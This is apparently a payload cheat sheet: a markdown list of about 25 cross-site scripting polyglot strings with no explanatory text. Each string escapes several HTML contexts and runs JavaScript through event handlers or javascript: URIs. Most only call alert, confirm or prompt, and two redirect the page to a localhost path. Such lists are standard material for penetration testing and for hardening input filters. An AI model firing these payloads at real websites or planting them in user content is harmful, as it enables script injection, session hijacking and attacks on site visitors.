# XSS-polyglots

```css
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
```

```css
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
```

```css
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
```

```css
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
```

```css
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
```

```css
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
```

```css
javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*
```

```css
javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a
```

```css
javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/
```

```css
javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/*
```

```css
javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/*
```

```css
javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()//
```

```css
javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/*
```

```css
--></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/*
```

```css
/</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/*
```

```css
javascript://--></title></style></textarea></script><svg "//' onclick=alert()//
```

```css
/</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/*
```

```css
-->'"/></sCript><svG x=">" onload=(co\u006efirm)``>
```

```css
<svg%0Ao%00nload=%09((pro\u006dpt))()//
```

```css
javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/*<html/*/onmouseover=alert()//>
```

```css
javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>--><svg onload=/*<html/*/onmouseover=alert()//>
```

```css
javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/*--><html */ onmouseover=alert()//'>`
```

```css
%0ajavascript:`/*\"/*-->&lt;svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert(test)//'">`
```

```css
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+document.location=`//localhost/mH`//'>
```

```css
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=document.location=`//localhost/mH`//>
```
